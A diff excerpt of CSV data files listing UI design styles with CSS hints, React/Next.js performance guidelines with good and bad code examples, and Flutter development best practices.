9,Claymorphism,"Design a playful, toy-like interface with soft 3D, chunky elements, bubbly aesthetic, rounded edges (16-24px), thick borders (3-4px), double shadows (inner + outer), pastel colors, smooth animations. Perfect for children's apps and creative tools.","border-radius: 16-24px, border: 3-4px solid, box-shadow: inset -2px -2px 8px, 4px 4px 8px, background: pastel-gradient, animation: soft bounce (cubic-bezier 0.34, 1.56)","☐ Border-radius 16-24px, ☐ Thick borders 3-4px, ☐ Double shadows (inner+outer), ☐ Pastel colors used, ☐ Soft bounce animations, ☐ Playful interactions","--border-radius: 20px, --border-width: 3-4px, --shadow-inner: inset -2px -2px 8px, --shadow-outer: 4px 4px 8px, --color-palette: pastels, --animation: bounce"
|
||||
10,Aurora UI,"Create a vibrant gradient interface inspired by Northern Lights with mesh gradients, smooth color blends, flowing animations. Use complementary color pairs (blue-orange, purple-yellow), flowing background gradients, subtle continuous animations (8-12s loops), iridescent effects.","background: conic-gradient or radial-gradient with multiple stops, animation: @keyframes gradient (8-12s), background-size: 200% 200%, filter: saturate(1.2), blend-mode: screen or multiply","☐ Mesh/flowing gradients applied, ☐ 8-12s animation loop, ☐ Complementary colors used, ☐ Smooth color transitions, ☐ Iridescent effect subtle, ☐ Text contrast verified","--gradient-colors: complementary pairs, --animation-duration: 8-12s, --blend-mode: screen, --color-saturation: 1.2, --effect: iridescent, --loop-smooth: true"
|
||||
11,Retro-Futurism,"Build a retro-futuristic (cyberpunk/vaporwave) interface with neon colors (blue, pink, cyan), deep black background, 80s aesthetic, CRT scanlines, glitch effects, neon glow text/borders, monospace fonts, geometric patterns. Use neon text-shadow and animated glitch effects.","color: neon colors (#0080FF, #FF006E, #00FFFF), text-shadow: 0 0 10px neon, background: #000 or #1A1A2E, font-family: monospace, animation: glitch (skew+offset), filter: hue-rotate","☐ Neon colors used, ☐ CRT scanlines effect, ☐ Glitch animations active, ☐ Monospace font, ☐ Deep black background, ☐ Glow effects applied, ☐ 80s patterns present","--neon-colors: #0080FF #FF006E #00FFFF, --background: #000000, --font-family: monospace, --effect: glitch+glow, --scanline-opacity: 0.3, --crt-effect: true"
|
||||
12,Flat Design,"Create a flat, 2D interface with bold colors, no shadows/gradients, clean lines, simple geometric shapes, icon-heavy, typography-focused, minimal ornamentation. Use 4-6 solid, bright colors in a limited palette with high saturation.","box-shadow: none, background: solid color, border-radius: 0-4px, color: solid (no gradients), fill: solid, stroke: 1-2px, font: bold sans-serif, icons: simplified SVG","☐ No shadows/gradients, ☐ 4-6 solid colors max, ☐ Clean lines consistent, ☐ Simple shapes used, ☐ Icon-heavy layout, ☐ High saturation colors, ☐ Fast loading verified","--shadow: none, --color-palette: 4-6 solid, --border-radius: 2px, --gradient: none, --icons: simplified SVG, --animation: minimal 150-200ms"
|
||||
13,Skeuomorphism,"Design a realistic, textured interface with 3D depth, real-world metaphors (leather, wood, metal), complex gradients (8-12 stops), realistic shadows, grain/texture overlays, tactile press animations. Perfect for premium/luxury products.","background: complex gradient (8-12 stops), box-shadow: realistic multi-layer, background-image: texture overlay (noise, grain), filter: drop-shadow, transform: scale on press (300-500ms)","☐ Realistic textures applied, ☐ Complex gradients 8-12 stops, ☐ Multi-layer shadows, ☐ Texture overlays present, ☐ Tactile animations smooth, ☐ Depth effect pronounced","--gradient-stops: 8-12, --texture-overlay: noise+grain, --shadow-layers: 3+, --animation-duration: 300-500ms, --depth-effect: pronounced, --tactile: true"
|
||||
14,Liquid Glass,"Create a premium liquid glass effect with morphing shapes, flowing animations, chromatic aberration, iridescent gradients, smooth 400-600ms transitions. Use SVG morphing for shape changes, dynamic blur, smooth color transitions creating a fluid, premium feel.","animation: morphing SVG paths (400-600ms), backdrop-filter: blur + saturate, filter: hue-rotate + brightness, blend-mode: screen, background: iridescent gradient","☐ Morphing animations 400-600ms, ☐ Chromatic aberration applied, ☐ Dynamic blur active, ☐ Iridescent gradients, ☐ Smooth color transitions, ☐ Premium feel achieved","--morph-duration: 400-600ms, --blur-amount: 15px, --chromatic-aberration: true, --iridescent: true, --blend-mode: screen, --smooth-transitions: true"
|
||||
15,Motion-Driven,"Build an animation-heavy interface with scroll-triggered animations, microinteractions, parallax scrolling (3-5 layers), smooth transitions (300-400ms), entrance animations, page transitions. Use Intersection Observer for scroll effects, transform for performance, GPU acceleration.","animation: @keyframes scroll-reveal, transform: translateY/X, Intersection Observer API, will-change: transform, scroll-behavior: smooth, animation-duration: 300-400ms","☐ Scroll animations active, ☐ Parallax 3-5 layers, ☐ Entrance animations smooth, ☐ Page transitions fluid, ☐ GPU accelerated, ☐ Prefers-reduced-motion respected","--animation-duration: 300-400ms, --parallax-layers: 5, --scroll-behavior: smooth, --gpu-accelerated: true, --entrance-animation: true, --page-transition: smooth"
|
||||
16,Micro-interactions,"Design with delightful micro-interactions: small 50-100ms animations, gesture-based responses, tactile feedback, loading spinners, success/error states, subtle hover effects, haptic feedback triggers for mobile. Focus on responsive, contextual interactions.","animation: short 50-100ms, transition: hover states, @media (hover: hover) for desktop, :active for press, haptic-feedback CSS/API, loading animation smooth loop","☐ Micro-animations 50-100ms, ☐ Gesture-responsive, ☐ Tactile feedback visual/haptic, ☐ Loading spinners smooth, ☐ Success/error states clear, ☐ Hover effects subtle","--micro-animation-duration: 50-100ms, --gesture-responsive: true, --haptic-feedback: true, --loading-animation: smooth, --state-feedback: success+error"
|
||||
17,Inclusive Design,"Design for universal accessibility: high contrast (7:1+), large text (16px+), keyboard-only navigation, screen reader optimization, WCAG AAA compliance, symbol-based color indicators (not color-only), haptic feedback, voice interaction support, reduced motion options.","aria-* attributes complete, role attributes semantic, focus-visible: 3-4px ring, color-contrast: 7:1+, @media (prefers-reduced-motion), alt text on all images, form labels properly associated","☐ WCAG AAA verified, ☐ 7:1+ contrast all text, ☐ Keyboard accessible (Tab/Enter), ☐ Screen reader tested, ☐ Focus visible 3-4px, ☐ No color-only indicators, ☐ Haptic fallback","--contrast-ratio: 7:1, --font-size: 16px+, --keyboard-accessible: true, --sr-compatible: true, --wcag-level: AAA, --color-symbols: true, --haptic: enabled"
|
||||
18,Zero Interface,"Create a voice-first, gesture-based, AI-driven interface with minimal visible UI, progressive disclosure, voice recognition UI, gesture detection, AI predictions, smart suggestions, context-aware actions. Hide controls until needed.","voice-commands: Web Speech API, gesture-detection: touch events, AI-predictions: hidden by default (reveal on hover), progressive-disclosure: show on demand, minimal UI visible","☐ Voice commands responsive, ☐ Gesture detection active, ☐ AI predictions hidden/revealed, ☐ Progressive disclosure working, ☐ Minimal visible UI, ☐ Smart suggestions contextual","--voice-ui: enabled, --gesture-detection: active, --ai-predictions: smart, --progressive-disclosure: true, --visible-ui: minimal, --context-aware: true"
|
||||
19,Soft UI Evolution,"Design evolved neumorphism with improved contrast (WCAG AA+), modern aesthetics, subtle depth, accessibility focus. Use soft shadows (softer than flat but clearer than pure neumorphism), better color hierarchy, improved focus states, modern 200-300ms animations.","box-shadow: softer multi-layer (0 2px 4px), background: improved contrast pastels, border-radius: 8-12px, animation: 200-300ms smooth, outline: 2-3px on focus, contrast: 4.5:1+","☐ Improved contrast AA/AAA, ☐ Soft shadows modern, ☐ Border-radius 8-12px, ☐ Animations 200-300ms, ☐ Focus states visible, ☐ Color hierarchy clear","--shadow-soft: modern blend, --border-radius: 10px, --animation-duration: 200-300ms, --contrast-ratio: 4.5:1+, --color-hierarchy: improved, --wcag-level: AA+"
|
||||
20,Bento Grids,"Design a Bento Grid layout. Use: modular grid system, rounded corners (16-24px), different card sizes (1x1, 2x1, 2x2), card-based hierarchy, soft backgrounds (#F5F5F7), subtle borders, content-first, Apple-style aesthetic.","display: grid, grid-template-columns: repeat(auto-fit, minmax(...)), gap: 1rem, border-radius: 20px, background: #FFF, box-shadow: subtle","☐ Grid layout (CSS Grid), ☐ Rounded corners 16-24px, ☐ Varied card spans, ☐ Content fits card size, ☐ Responsive re-flow, ☐ Apple-like aesthetic","--grid-gap: 20px, --card-radius: 24px, --card-bg: #FFFFFF, --page-bg: #F5F5F7, --shadow: soft"
|
||||
21,Neubrutalism,"Design a neubrutalist interface. Use: high contrast, hard black borders (3px+), bright pop colors, no blur, sharp or slightly rounded corners, bold typography, hard shadows (offset 4px 4px), raw aesthetic but functional.","border: 3px solid black, box-shadow: 5px 5px 0px black, colors: #FFDB58 #FF6B6B #4ECDC4, font-weight: 700, no gradients","☐ Hard borders (2-4px), ☐ Hard offset shadows, ☐ High saturation colors, ☐ Bold typography, ☐ No blurs/gradients, ☐ Distinctive 'ugly-cute' look","--border-width: 3px, --shadow-offset: 4px, --shadow-color: #000, --colors: high saturation, --font: bold sans"
|
||||
22,HUD / Sci-Fi FUI,"Design a futuristic HUD (Heads Up Display) or FUI. Use: thin lines (1px), neon cyan/blue on black, technical markers, decorative brackets, data visualization, monospaced tech fonts, glowing elements, transparency.","border: 1px solid rgba(0,255,255,0.5), color: #00FFFF, background: transparent or rgba(0,0,0,0.8), font-family: monospace, text-shadow: 0 0 5px cyan","☐ Fine lines 1px, ☐ Neon glow text/borders, ☐ Monospaced font, ☐ Dark/Transparent BG, ☐ Decorative tech markers, ☐ Holographic feel","--hud-color: #00FFFF, --bg-color: rgba(0,10,20,0.9), --line-width: 1px, --glow: 0 0 5px, --font: monospace"
|
||||
|
||||
|
45
skills/ui-ux-pro-max/data/react-performance.csv
Normal file
45
skills/ui-ux-pro-max/data/react-performance.csv
Normal file
@@ -0,0 +1,45 @@
|
||||
No,Category,Issue,Keywords,Platform,Description,Do,Don't,Code Example Good,Code Example Bad,Severity
|
||||
1,Async Waterfall,Defer Await,async await defer branch,React/Next.js,Move await into branches where actually used to avoid blocking unused code paths,Move await operations into branches where they're needed,Await at top of function blocking all branches,"if (skip) return { skipped: true }; const data = await fetch()","const data = await fetch(); if (skip) return { skipped: true }",Critical
|
||||
2,Async Waterfall,Promise.all Parallel,promise all parallel concurrent,React/Next.js,Execute independent async operations concurrently using Promise.all(),Use Promise.all() for independent operations,Sequential await for independent operations,"const [user, posts] = await Promise.all([fetchUser(), fetchPosts()])","const user = await fetchUser(); const posts = await fetchPosts()",Critical
|
||||
3,Async Waterfall,Dependency Parallelization,better-all dependency parallel,React/Next.js,Use better-all for operations with partial dependencies to maximize parallelism,Use better-all to start each task at earliest possible moment,Wait for unrelated data before starting dependent fetch,"await all({ user() {}, config() {}, profile() { return fetch((await this.$.user).id) } })","const [user, config] = await Promise.all([...]); const profile = await fetchProfile(user.id)",Critical
|
||||
4,Async Waterfall,API Route Optimization,api route waterfall promise,React/Next.js,In API routes start independent operations immediately even if not awaited yet,Start promises early and await late,Sequential awaits in API handlers,"const sessionP = auth(); const configP = fetchConfig(); const session = await sessionP","const session = await auth(); const config = await fetchConfig()",Critical
|
||||
5,Async Waterfall,Suspense Boundaries,suspense streaming boundary,React/Next.js,Use Suspense to show wrapper UI faster while data loads,Wrap async components in Suspense boundaries,Await data blocking entire page render,"<Suspense fallback={<Skeleton />}><DataDisplay /></Suspense>","const data = await fetchData(); return <DataDisplay data={data} />",High
|
||||
6,Bundle Size,Barrel Imports,barrel import direct path,React/Next.js,Import directly from source files instead of barrel files to avoid loading unused modules,Import directly from source path,Import from barrel/index files,"import Check from 'lucide-react/dist/esm/icons/check'","import { Check } from 'lucide-react'",Critical
|
||||
7,Bundle Size,Dynamic Imports,dynamic import lazy next,React/Next.js,Use next/dynamic to lazy-load large components not needed on initial render,Use dynamic() for heavy components,Import heavy components at top level,"const Monaco = dynamic(() => import('./monaco'), { ssr: false })","import { MonacoEditor } from './monaco-editor'",Critical
|
||||
8,Bundle Size,Defer Third Party,analytics defer third-party,React/Next.js,Load analytics and logging after hydration since they don't block interaction,Load non-critical scripts after hydration,Include analytics in main bundle,"const Analytics = dynamic(() => import('@vercel/analytics'), { ssr: false })","import { Analytics } from '@vercel/analytics/react'",Medium
|
||||
9,Bundle Size,Conditional Loading,conditional module lazy,React/Next.js,Load large data or modules only when a feature is activated,Dynamic import when feature enabled,Import large modules unconditionally,"useEffect(() => { if (enabled) import('./heavy.js') }, [enabled])","import { heavyData } from './heavy.js'",High
|
||||
10,Bundle Size,Preload Intent,preload hover focus intent,React/Next.js,Preload heavy bundles on hover/focus before they're needed,Preload on user intent signals,Load only on click,"onMouseEnter={() => import('./editor')}","onClick={() => import('./editor')}",Medium
|
||||
11,Server,React.cache Dedup,react cache deduplicate request,React/Next.js,Use React.cache() for server-side request deduplication within single request,Wrap data fetchers with cache(),Fetch same data multiple times in tree,"export const getUser = cache(async () => await db.user.find())","export async function getUser() { return await db.user.find() }",Medium
|
||||
12,Server,LRU Cache Cross-Request,lru cache cross request,React/Next.js,Use LRU cache for data shared across sequential requests,Use LRU for cross-request caching,Refetch same data on every request,"const cache = new LRUCache({ max: 1000, ttl: 5*60*1000 })","Always fetch from database",High
|
||||
13,Server,Minimize Serialization,serialization rsc boundary,React/Next.js,Only pass fields that client actually uses across RSC boundaries,Pass only needed fields to client components,Pass entire objects to client,"<Profile name={user.name} />","<Profile user={user} /> // 50 fields serialized",High
|
||||
14,Server,Parallel Fetching,parallel fetch component composition,React/Next.js,Restructure components to parallelize data fetching in RSC,Use component composition for parallel fetches,Sequential fetches in parent component,"<Header /><Sidebar /> // both fetch in parallel","const header = await fetchHeader(); return <><div>{header}</div><Sidebar /></>",Critical
|
||||
15,Server,After Non-blocking,after non-blocking logging,React/Next.js,Use Next.js after() to schedule work after response is sent,Use after() for logging/analytics,Block response for non-critical operations,"after(async () => { await logAction() }); return Response.json(data)","await logAction(); return Response.json(data)",Medium
|
||||
16,Client,SWR Deduplication,swr dedup cache revalidate,React/Next.js,Use SWR for automatic request deduplication and caching,Use useSWR for client data fetching,Manual fetch in useEffect,"const { data } = useSWR('/api/users', fetcher)","useEffect(() => { fetch('/api/users').then(setUsers) }, [])",Medium-High
|
||||
17,Client,Event Listener Dedup,event listener deduplicate global,React/Next.js,Share global event listeners across component instances,Use useSWRSubscription for shared listeners,Register listener per component instance,"useSWRSubscription('global-keydown', () => { window.addEventListener... })","useEffect(() => { window.addEventListener('keydown', handler) }, [])",Low
|
||||
18,Rerender,Defer State Reads,state read callback subscription,React/Next.js,Don't subscribe to state only used in callbacks,Read state on-demand in callbacks,Subscribe to state used only in handlers,"const handleClick = () => { const params = new URLSearchParams(location.search) }","const params = useSearchParams(); const handleClick = () => { params.get('ref') }",Medium
|
||||
19,Rerender,Memoized Components,memo extract expensive,React/Next.js,Extract expensive work into memoized components for early returns,Extract to memo() components,Compute expensive values before early return,"const UserAvatar = memo(({ user }) => ...); if (loading) return <Skeleton />","const avatar = useMemo(() => compute(user)); if (loading) return <Skeleton />",Medium
|
||||
20,Rerender,Narrow Dependencies,effect dependency primitive,React/Next.js,Specify primitive dependencies instead of objects in effects,Use primitive values in dependency arrays,Use object references as dependencies,"useEffect(() => { console.log(user.id) }, [user.id])","useEffect(() => { console.log(user.id) }, [user])",Low
|
||||
21,Rerender,Derived State,derived boolean subscription,React/Next.js,Subscribe to derived booleans instead of continuous values,Use derived boolean state,Subscribe to continuous values,"const isMobile = useMediaQuery('(max-width: 767px)')","const width = useWindowWidth(); const isMobile = width < 768",Medium
|
||||
22,Rerender,Functional setState,functional setstate callback,React/Next.js,Use functional setState updates for stable callbacks and no stale closures,Use functional form: setState(curr => ...),Reference state directly in setState,"setItems(curr => [...curr, newItem])","setItems([...items, newItem]) // items in deps",Medium
|
||||
23,Rerender,Lazy State Init,usestate lazy initialization,React/Next.js,Pass function to useState for expensive initial values,Use function form for expensive init,Compute expensive value directly,"useState(() => buildSearchIndex(items))","useState(buildSearchIndex(items)) // runs every render",Medium
|
||||
24,Rerender,Transitions,starttransition non-urgent,React/Next.js,Mark frequent non-urgent state updates as transitions,Use startTransition for non-urgent updates,Block UI on every state change,"startTransition(() => setScrollY(window.scrollY))","setScrollY(window.scrollY) // blocks on every scroll",Medium
|
||||
25,Rendering,SVG Animation Wrapper,svg animation wrapper div,React/Next.js,Wrap SVG in div and animate wrapper for hardware acceleration,Animate div wrapper around SVG,Animate SVG element directly,"<div class='animate-spin'><svg>...</svg></div>","<svg class='animate-spin'>...</svg>",Low
|
||||
26,Rendering,Content Visibility,content-visibility auto,React/Next.js,Apply content-visibility: auto to defer off-screen rendering,Use content-visibility for long lists,Render all list items immediately,".item { content-visibility: auto; contain-intrinsic-size: 0 80px }","Render 1000 items without optimization",High
|
||||
27,Rendering,Hoist Static JSX,hoist static jsx element,React/Next.js,Extract static JSX outside components to avoid re-creation,Hoist static elements to module scope,Create static elements inside components,"const skeleton = <div class='animate-pulse' />; function C() { return skeleton }","function C() { return <div class='animate-pulse' /> }",Low
|
||||
28,Rendering,Hydration No Flicker,hydration mismatch flicker,React/Next.js,Use inline script to set client-only data before hydration,Inject sync script for client-only values,Use useEffect causing flash,"<script dangerouslySetInnerHTML={{ __html: 'el.className = localStorage.theme' }} />","useEffect(() => setTheme(localStorage.theme), []) // flickers",Medium
|
||||
29,Rendering,Conditional Render,conditional render ternary,React/Next.js,Use ternary instead of && when condition can be 0 or NaN,Use explicit ternary for conditionals,Use && with potentially falsy numbers,"{count > 0 ? <Badge>{count}</Badge> : null}","{count && <Badge>{count}</Badge>} // renders '0'",Low
|
||||
30,Rendering,Activity Component,activity show hide preserve,React/Next.js,Use Activity component to preserve state/DOM for toggled components,Use Activity for expensive toggle components,Unmount/remount on visibility toggle,"<Activity mode={isOpen ? 'visible' : 'hidden'}><Menu /></Activity>","{isOpen && <Menu />} // loses state",Medium
|
||||
31,JS Perf,Batch DOM CSS,batch dom css reflow,React/Next.js,Group CSS changes via classes or cssText to minimize reflows,Use class toggle or cssText,Change styles one property at a time,"element.classList.add('highlighted')","el.style.width='100px'; el.style.height='200px'",Medium
|
||||
32,JS Perf,Index Map Lookup,map index lookup find,React/Next.js,Build Map for repeated lookups instead of multiple .find() calls,Build index Map for O(1) lookups,Use .find() in loops,"const byId = new Map(users.map(u => [u.id, u])); byId.get(id)","users.find(u => u.id === order.userId) // O(n) each time",Low-Medium
|
||||
33,JS Perf,Cache Property Access,cache property loop,React/Next.js,Cache object property lookups in hot paths,Cache values before loops,Access nested properties in loops,"const val = obj.config.settings.value; for (...) process(val)","for (...) process(obj.config.settings.value)",Low-Medium
|
||||
34,JS Perf,Cache Function Results,memoize cache function,React/Next.js,Use module-level Map to cache repeated function results,Use Map cache for repeated calls,Recompute same values repeatedly,"const cache = new Map(); if (cache.has(x)) return cache.get(x)","slugify(name) // called 100 times same input",Medium
|
||||
35,JS Perf,Cache Storage API,localstorage cache read,React/Next.js,Cache localStorage/sessionStorage reads in memory,Cache storage reads in Map,Read storage on every call,"if (!cache.has(key)) cache.set(key, localStorage.getItem(key))","localStorage.getItem('theme') // every call",Low-Medium
|
||||
36,JS Perf,Combine Iterations,combine filter map loop,React/Next.js,Combine multiple filter/map into single loop,Single loop for multiple categorizations,Chain multiple filter() calls,"for (u of users) { if (u.isAdmin) admins.push(u); if (u.isTester) testers.push(u) }","users.filter(admin); users.filter(tester); users.filter(inactive)",Low-Medium
|
||||
37,JS Perf,Length Check First,length check array compare,React/Next.js,Check array lengths before expensive comparisons,Early return if lengths differ,Always run expensive comparison,"if (a.length !== b.length) return true; // then compare","a.sort().join() !== b.sort().join() // even when lengths differ",Medium-High
|
||||
38,JS Perf,Early Return,early return exit function,React/Next.js,Return early when result is determined to skip processing,Return immediately on first error,Process all items then check errors,"for (u of users) { if (!u.email) return { error: 'Email required' } }","let hasError; for (...) { if (!email) hasError=true }; if (hasError)...",Low-Medium
|
||||
39,JS Perf,Hoist RegExp,regexp hoist module,React/Next.js,Don't create RegExp inside render - hoist or memoize,Hoist RegExp to module scope,Create RegExp every render,"const EMAIL_RE = /^[^@]+@[^@]+$/; function validate() { EMAIL_RE.test(x) }","function C() { const re = new RegExp(pattern); re.test(x) }",Low-Medium
|
||||
40,JS Perf,Loop Min Max,loop min max sort,React/Next.js,Use loop for min/max instead of sort - O(n) vs O(n log n),Single pass loop for min/max,Sort array to find min/max,"let max = arr[0]; for (x of arr) if (x > max) max = x","arr.sort((a,b) => b-a)[0] // O(n log n)",Low
|
||||
41,JS Perf,Set Map Lookups,set map includes has,React/Next.js,Use Set/Map for O(1) lookups instead of array.includes(),Convert to Set for membership checks,Use .includes() for repeated checks,"const allowed = new Set(['a','b']); allowed.has(id)","const allowed = ['a','b']; allowed.includes(id)",Low-Medium
|
||||
42,JS Perf,toSorted Immutable,tosorted sort immutable,React/Next.js,Use toSorted() instead of sort() to avoid mutating arrays,Use toSorted() for immutability,Mutate arrays with sort(),"users.toSorted((a,b) => a.name.localeCompare(b.name))","users.sort((a,b) => a.name.localeCompare(b.name)) // mutates",Medium-High
|
||||
43,Advanced,Event Handler Refs,useeffectevent ref handler,React/Next.js,Store callbacks in refs for stable effect subscriptions,Use useEffectEvent for stable handlers,Re-subscribe on every callback change,"const onEvent = useEffectEvent(handler); useEffect(() => { listen(onEvent) }, [])","useEffect(() => { listen(handler) }, [handler]) // re-subscribes",Low
|
||||
44,Advanced,useLatest Hook,uselatest ref callback,React/Next.js,Access latest values in callbacks without adding to dependency arrays,Use useLatest for fresh values in stable callbacks,Add callback to effect dependencies,"const cbRef = useLatest(cb); useEffect(() => { setTimeout(() => cbRef.current()) }, [])","useEffect(() => { setTimeout(() => cb()) }, [cb]) // re-runs",Low
|
||||
|
@@ -1,53 +1,53 @@
|
||||
No,Category,Guideline,Description,Do,Don't,Code Good,Code Bad,Severity,Docs URL
|
||||
1,Widgets,Use StatelessWidget when possible,Immutable widgets are simpler,StatelessWidget for static UI,StatefulWidget for everything,class MyWidget extends StatelessWidget,class MyWidget extends StatefulWidget (static),Medium,https://api.flutter.dev/flutter/widgets/StatelessWidget-class.html
|
||||
2,Widgets,Keep widgets small,Single responsibility principle,Extract widgets into smaller pieces,Large build methods,Column(children: [Header() Content()]),500+ line build method,Medium,
|
||||
3,Widgets,Use const constructors,Compile-time constants for performance,const MyWidget() when possible,Non-const for static widgets,const Text('Hello'),Text('Hello') for literals,High,https://dart.dev/guides/language/language-tour#constant-constructors
|
||||
4,Widgets,Prefer composition over inheritance,Combine widgets using children,Compose widgets,Extend widget classes,Container(child: MyContent()),class MyContainer extends Container,Medium,
|
||||
5,State,Use setState correctly,Minimal state in StatefulWidget,setState for UI state changes,setState for business logic,setState(() { _counter++; }),Complex logic in setState,Medium,https://api.flutter.dev/flutter/widgets/State/setState.html
|
||||
6,State,Avoid setState in build,Never call setState during build,setState in callbacks only,setState in build method,onPressed: () => setState(() {}),build() { setState(); },High,
|
||||
7,State,Use state management for complex apps,Provider Riverpod BLoC,State management for shared state,setState for global state,Provider.of<MyState>(context),Global setState calls,Medium,
|
||||
8,State,Prefer Riverpod or Provider,Recommended state solutions,Riverpod for new projects,InheritedWidget manually,ref.watch(myProvider),Custom InheritedWidget,Medium,https://riverpod.dev/
|
||||
9,State,Dispose resources,Clean up controllers and subscriptions,dispose() for cleanup,Memory leaks from subscriptions,@override void dispose() { controller.dispose(); },No dispose implementation,High,
|
||||
10,Layout,Use Column and Row,Basic layout widgets,Column Row for linear layouts,Stack for simple layouts,"Column(children: [Text(), Button()])",Stack for vertical list,Medium,https://api.flutter.dev/flutter/widgets/Column-class.html
|
||||
11,Layout,Use Expanded and Flexible,Control flex behavior,Expanded to fill space,Fixed sizes in flex containers,Expanded(child: Container()),Container(width: 200) in Row,Medium,
|
||||
12,Layout,Use SizedBox for spacing,Consistent spacing,SizedBox for gaps,Container for spacing only,SizedBox(height: 16),Container(height: 16),Low,
|
||||
13,Layout,Use LayoutBuilder for responsive,Respond to constraints,LayoutBuilder for adaptive layouts,Fixed sizes for responsive,LayoutBuilder(builder: (context constraints) {}),Container(width: 375),Medium,https://api.flutter.dev/flutter/widgets/LayoutBuilder-class.html
|
||||
14,Layout,Avoid deep nesting,Keep widget tree shallow,Extract deeply nested widgets,10+ levels of nesting,Extract widget to method or class,Column(Row(Column(Row(...)))),Medium,
|
||||
15,Lists,Use ListView.builder,Lazy list building,ListView.builder for long lists,ListView with children for large lists,"ListView.builder(itemCount: 100, itemBuilder: ...)",ListView(children: items.map(...).toList()),High,https://api.flutter.dev/flutter/widgets/ListView-class.html
|
||||
16,Lists,Provide itemExtent when known,Skip measurement,itemExtent for fixed height items,No itemExtent for uniform lists,ListView.builder(itemExtent: 50),ListView.builder without itemExtent,Medium,
|
||||
17,Lists,Use keys for stateful items,Preserve widget state,Key for stateful list items,No key for dynamic lists,ListTile(key: ValueKey(item.id)),ListTile without key,High,
|
||||
18,Lists,Use SliverList for custom scroll,Custom scroll effects,CustomScrollView with Slivers,Nested ListViews,CustomScrollView(slivers: [SliverList()]),ListView inside ListView,Medium,https://api.flutter.dev/flutter/widgets/SliverList-class.html
|
||||
19,Navigation,Use Navigator 2.0 or GoRouter,Declarative routing,go_router for navigation,Navigator.push for complex apps,GoRouter(routes: [...]),Navigator.push everywhere,Medium,https://pub.dev/packages/go_router
|
||||
20,Navigation,Use named routes,Organized navigation,Named routes for clarity,Anonymous routes,Navigator.pushNamed(context '/home'),Navigator.push(context MaterialPageRoute()),Low,
|
||||
21,Navigation,Handle back button (PopScope),Android back behavior and predictive back (Android 14+),Use PopScope widget (WillPopScope is deprecated),Use WillPopScope,"PopScope(canPop: false, onPopInvoked: (didPop) => ...)",WillPopScope(onWillPop: ...),High,https://api.flutter.dev/flutter/widgets/PopScope-class.html
|
||||
22,Navigation,Pass typed arguments,Type-safe route arguments,Typed route arguments,Dynamic arguments,MyRoute(id: '123'),arguments: {'id': '123'},Medium,
|
||||
23,Async,Use FutureBuilder,Async UI building,FutureBuilder for async data,setState for async,FutureBuilder(future: fetchData()),fetchData().then((d) => setState()),Medium,https://api.flutter.dev/flutter/widgets/FutureBuilder-class.html
|
||||
24,Async,Use StreamBuilder,Stream UI building,StreamBuilder for streams,Manual stream subscription,StreamBuilder(stream: myStream),stream.listen in initState,Medium,https://api.flutter.dev/flutter/widgets/StreamBuilder-class.html
|
||||
25,Async,Handle loading and error states,Complete async UI states,ConnectionState checks,Only success state,if (snapshot.connectionState == ConnectionState.waiting),No loading indicator,High,
|
||||
26,Async,Cancel subscriptions,Clean up stream subscriptions,Cancel in dispose,Memory leaks,subscription.cancel() in dispose,No subscription cleanup,High,
|
||||
27,Theming,Use ThemeData,Consistent theming,ThemeData for app theme,Hardcoded colors,Theme.of(context).primaryColor,Color(0xFF123456) everywhere,Medium,https://api.flutter.dev/flutter/material/ThemeData-class.html
|
||||
28,Theming,Use ColorScheme,Material 3 color system,ColorScheme for colors,Individual color properties,colorScheme: ColorScheme.fromSeed(),primaryColor: Colors.blue,Medium,
|
||||
29,Theming,Access theme via context,Dynamic theme access,Theme.of(context),Static theme reference,Theme.of(context).textTheme.bodyLarge,TextStyle(fontSize: 16),Medium,
|
||||
30,Theming,Support dark mode,Respect system theme,darkTheme in MaterialApp,Light theme only,"MaterialApp(theme: light, darkTheme: dark)",MaterialApp(theme: light),Medium,
|
||||
31,Animation,Use implicit animations,Simple animations,AnimatedContainer AnimatedOpacity,Explicit for simple transitions,AnimatedContainer(duration: Duration()),AnimationController for fade,Low,https://api.flutter.dev/flutter/widgets/AnimatedContainer-class.html
|
||||
32,Animation,Use AnimationController for complex,Fine-grained control,AnimationController with Ticker,Implicit for complex sequences,AnimationController(vsync: this),AnimatedContainer for staggered,Medium,
|
||||
33,Animation,Dispose AnimationControllers,Clean up animation resources,dispose() for controllers,Memory leaks,controller.dispose() in dispose,No controller disposal,High,
|
||||
34,Animation,Use Hero for transitions,Shared element transitions,Hero for navigation animations,Manual shared element,Hero(tag: 'image' child: Image()),Custom shared element animation,Low,https://api.flutter.dev/flutter/widgets/Hero-class.html
|
||||
35,Forms,Use Form widget,Form validation,Form with GlobalKey,Individual validation,Form(key: _formKey child: ...),TextField without Form,Medium,https://api.flutter.dev/flutter/widgets/Form-class.html
|
||||
36,Forms,Use TextEditingController,Control text input,Controller for text fields,onChanged for all text,final controller = TextEditingController(),onChanged: (v) => setState(),Medium,
|
||||
37,Forms,Validate on submit,Form validation flow,_formKey.currentState!.validate(),Skip validation,if (_formKey.currentState!.validate()),Submit without validation,High,
|
||||
38,Forms,Dispose controllers,Clean up text controllers,dispose() for controllers,Memory leaks,controller.dispose() in dispose,No controller disposal,High,
|
||||
39,Performance,Use const widgets,Reduce rebuilds,const for static widgets,No const for literals,const Icon(Icons.add),Icon(Icons.add),High,
|
||||
40,Performance,Avoid rebuilding entire tree,Minimal rebuild scope,Isolate changing widgets,setState on parent,Consumer only around changing widget,setState on root widget,High,
|
||||
41,Performance,Use RepaintBoundary,Isolate repaints,RepaintBoundary for animations,Full screen repaints,RepaintBoundary(child: AnimatedWidget()),Animation without boundary,Medium,https://api.flutter.dev/flutter/widgets/RepaintBoundary-class.html
|
||||
42,Performance,Profile with DevTools,Measure before optimizing,Flutter DevTools profiling,Guess at performance,DevTools performance tab,Optimize without measuring,Medium,https://docs.flutter.dev/tools/devtools
|
||||
43,Accessibility,Use Semantics widget,Screen reader support,Semantics for accessibility,Missing accessibility info,Semantics(label: 'Submit button'),GestureDetector without semantics,High,https://api.flutter.dev/flutter/widgets/Semantics-class.html
|
||||
44,Accessibility,Support large fonts,MediaQuery text scaling,MediaQuery.textScaleFactor,Fixed font sizes,style: Theme.of(context).textTheme,TextStyle(fontSize: 14),High,
|
||||
45,Accessibility,Test with screen readers,TalkBack and VoiceOver,Test accessibility regularly,Skip accessibility testing,Regular TalkBack testing,No screen reader testing,High,
|
||||
46,Testing,Use widget tests,Test widget behavior,WidgetTester for UI tests,Unit tests only,testWidgets('...' (tester) async {}),Only test() for UI,Medium,https://docs.flutter.dev/testing
|
||||
